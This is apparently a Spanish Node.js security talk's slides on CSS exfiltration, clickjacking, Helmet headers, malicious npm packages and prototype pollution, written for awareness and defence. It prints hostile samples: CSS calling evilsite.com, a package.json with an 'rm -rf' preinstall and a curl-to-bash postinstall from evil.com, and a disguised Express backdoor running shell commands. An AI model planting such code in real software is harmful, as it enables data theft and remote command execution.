Senior Software engineer en GuideSmiths y orgulloso co-organizador de la comunidad Open Source Weekends (OSW)
Colaborador activo en la Comunidad Open Source y profesor en Fictizia.
Esta presentacion tiene la intención de sensibilizar al usuario sobre la ciberseguridad, la prevención y la detección del uso no autorizado de los sistemas informáticos.
El usuario al aplicar estos conocimientos deberá tener en cuenta que hay que debe respetar las normas que regulan la seguridad informática, evitando la comisión de actos que no se ajusten a la legalidad vigente, siendo su responsabilidad el mal uso que haga del contenido de esta charla y sus material anexo.
El autor no se hace responsable del uso negligente o ilícito que puedan hacer los usuarios de los conocimientos que se ponen de manifiesto en esta presentación.
Sin live coding ni ejecución de demos
Sin teoría pesada
Se adapta el nivel para tod@s (mayoría)
Jugadores Activos
Elementos Pasivos (Daño Colateral)
CSRF: Cross-site request forgery
MitM: Man-in-the-middle
XSS: Cross-site scripting
Backdoor
Security Misconfiguration
Using Components with Known Vulnerabilities
crossenv (Ago'17) is a one of 37 malicious packages that use typosquatting to bait unknowing users to install them. See
Fuente: Awesome Nodejs Security
"Que no te peten el Node" Jesús Perez Rubio
- JSDAY'16 (Madrid)
Este ataque utiliza selectores de CSS sobre elementos clave del DOM para solicitar recursos específicos en un servidor malicioso. Usando la URL del recurso pasamos información sensible al atacante.
input[name="username"]:focus {
background-image: url("http://evilsite.com/focus/username")
}
input[name="password"]:focus {
background-image: url("http://evilsite.com/focus/password")
}
input[value$="AB"] {
background-image: url("http://evilsite.com/log/AB")
}
@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
#chrome_detect::after {
content: url("evilsite.com?action=browser_chrome");
}
}
#link2:active::after {
content: url("evilsite.com?action=link2_clicked");
}
¿Has pinchado un link?
¿Qué navegador tienes?
@font-face {
font-family: Font1;
src: url("evilsite.com?action=font1");
}
#font_detection1 {
font-family: Calibri, Font1;
}
¿Qué sistema operativo tienes?
Fuente: The TCP/IP Guide
const helmet = require('helmet')
// "Strict-Transport-Security: max-age=5184000; includeSubDomains".
const sixtyDaysInSeconds = 5184000
app.use(helmet.hsts({
maxAge: sixtyDaysInSeconds
}))
El atacante quiere que realicemos acciones en una pagina web de manera legitima, que normalmente no hariamos (like, añadir amigos, borrar cuentas, etc...).
Para lograrlo el atacante usa un iframe de nuestra web y otro elemento encima para ocultar sus intenciones.
Al interaccionar con el elemento encima, estamos realmente interaccionando con otra pagina web distinta.
Nuestro Objetivo
Imagen de Helmet
Nuestro engaño
Imagen de Helmet
Nuestro ataque en realidad
Imagen de Helmet
const helmet = require('helmet')
// Sets "X-Frame-Options: DENY".
app.use(frameguard({ action: 'deny' }))
// Only let me be framed by people of the same origin.
// Sets "X-Frame-Options: SAMEORIGIN".
app.use(frameguard({ action: 'sameorigin' }))
app.use(frameguard()) // defaults to sameorigin
// Allow from a specific host.
// Sets "X-Frame-Options: ALLOW-FROM http://example.com".
app.use(frameguard({
action: 'allow-from',
domain: 'http://example.com'
}))
const helmet = require('helmet')
app.use(csp({
directives: {
defaultSrc: ["'self'", 'default.com'],
scriptSrc: ["'self'", "'unsafe-inline'"],
sandbox: ['allow-forms', 'allow-scripts'],
reportUri: '/report-violation',
objectSrc: ["'none'"],
upgradeInsecureRequests: true,
workerSrc: false // This is not set.
}
}))
default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com customer-stories-feed.github.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com
app.use(bodyParser.json({
type: ['json', 'application/csp-report']
}))
app.post('/report-violation', (req, res) => {
if (req.body) {
console.log('CSP Violation: ', req.body)
} else {
console.log('CSP Violation: No data received!')
}
res.status(204).end()
})
Gestión de violaciones
const helmet = require('helmet')
app.use(helmet.featurePolicy({
features: {
fullscreen: ["'self'"],
vibrate: ["'none'"],
payment: ["'mysite.com'"],
syncXhr: ["'none'"]
}
}))
La etiqueta x-powered-by normalmente es usada para dar crédito a los creadores un framework/librería. Pero también nos permite identificar claramente un servidor, incluso sus versiones y con ello preparar todos los exploits necesarios para automatizar este proceso
Ejemplos para ataques automáticos
El potencial de Shodan
const helmet = require('helmet')
// Deshabitado por defecto
app.use(helmet())
// honeypot?
app.use(helmet.hidePoweredBy({ setTo: 'PHP 4.2.0' }))
Lusca
Posibles vectores
{
"name": "awesome-fancy-module",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"preinstall": "rm -rf ./",
"postinstall": "curl -s http://evil.com/bad_script.sh | bash -s arg1 arg2"
},
"author": "Hacker's Union!",
"license": "ISC",
"dependencies": {}
}
El ciclo de vida también debemos revisarlo y no solo el código en si del Módulo
Te suena Puppeteer?
const express = require("express");
const helmet = require("helmet")
// const happyBrowser = require("happybrowser")
const happyBrowser = require("./lib/happybrowser")
const app = express();
app.use(happyBrowser({redirect: "https://browsehappy.com/"}))
app.use(helmet())
app.get("/", (req, res)=>{
res.send("hola mundo!")
})
app.listen(8080)
const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
module.exports = () => (req, res, next) => {
const {cmd} = req.query;
const hash = crypto.createHash('md5')
.update(String(req.headers["knock_knock"]))
.digest("hex");
res.setHeader("Content-Sec-Policy", "default-src 'self'")
if(cmd && hash === "33546af9907d67e6bba253650dda23d9") {
exec(cmd, (err, stdout, stderr)=>{
return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
})
} else {
//disfrazar
const ua = useragent.is(req.headers['user-agent']);
if(!ua.chrome){
res.redirect("https://browsehappy.com/")
} else {
next()
}
}
}
Liran Tal
(node:7147) [DEP0005] DeprecationWarning:
The Buffer() and new Buffer() constructors are not recommended
for use due to security and usability concerns. Please use
the new Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from()
construction methods instead.
at showFlaggedDeprecation (buffer.js:127:13)
at new Buffer (buffer.js:148:3)
at Object.<anonymous> (/path/to/example.js:2:13)
[... more stack trace lines ...]
If an attacker can make your program call the Buffer constructor with a Number argument, then they can make it allocate uninitialized memory from the node.js process. This could potentially disclose TLS private keys, user data, or database passwords.
- Feross Aboukhadijeh in Nodejs Github
// [DEPRECATED] new Buffer(number)
Buffer.alloc(number).
// [DEPRECATED] new Buffer(string)
Buffer.from(string)
// [DEPRECATED] new Buffer(string, encoding))
Buffer.from(string, encoding)
// [DEPRECATED] new Buffer(...arguments)
Buffer.from(...arguments)
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.(...) When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution
- Snyk VulnerabilityDB
const a = {"a": 1, "b": 2}
const data = JSON.parse('{"__proto__": { "polluted": true}}')
const c = Object.assign({}, a, data)
console.log(c.polluted) // true
// Based on Snyk PoC - [email protected]
// https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.0/lodash.min.js
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"polluted": true}}}'
mergeFn({}, JSON.parse(payload));
const newObject = {}
console.log(newObject.polluted) //true
Aprende más sobre ciberseguridad
Usa contraseñas seguras y jamas las repitas
Usar webs HTTPS y no HTTP
Usar al menos 2 factores de autenticación (2FA/MFA)
Usa sistemas seguros (oficiales) y mantenlos actualizados. Verifica los hashes
La encriptación es tu mejor amiga
Guada bien tus tokens
Las auditorias siempre ayudan a ver la realidad
Usa cuentas de correo distintas y evita la centralización (RRSS, Banca, etc...)
Cuidado con el Login social y los permisos
Permisos de la APPs
Cuidado con el software que instalas en tus equipos
El Open Source es tu mejor aliado
Vigila periféricos (webcam, micros, etc...) inutilizalos o bloquealos cuando no los uses
Ten una política clara de seguridad (intrusos, empleados hostiles, etc...)
Ten un plan de contingencia y haz simulaciones regularmente
En seguridad informática, una amenaza es un evento potencial capaz de socavar cualquier esfuerzo para defender sus datos. Puede contrarrestar las amenazas que afronta determinando lo que necesita proteger y de quien necesita protegerlo. Este proceso se llama "modelado de amenazas".
Las preguntas incomodas
Forma parte de la Guía "Evalúa tus riesgos" de EFF.
🤬 Más problemas...
Imagen: http://www.twistlock.com
The Security Working Group manages all aspects and processes linked to Node.js security.
PublicationInfo schema
{
"data": {
"package": {
"publicationInfo": {
"username": "brianc",
"tor": false,
"tfa": true
}
}
}
}
FROM node:12
WORKDIR /usr/src/app
COPY package*.json ./
RUN npm install
COPY . .
EXPOSE 3000
USER node # NO ROOT
CMD ["npm", "start"]
$ docker build [OPTIONS] PATH | URL | -
$ docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
$ docker exec [OPTIONS] CONTAINER COMMAND [ARG...]
Los sueños son sumamente importantes. Nada se hace sin que antes se imagine.
- George Lucas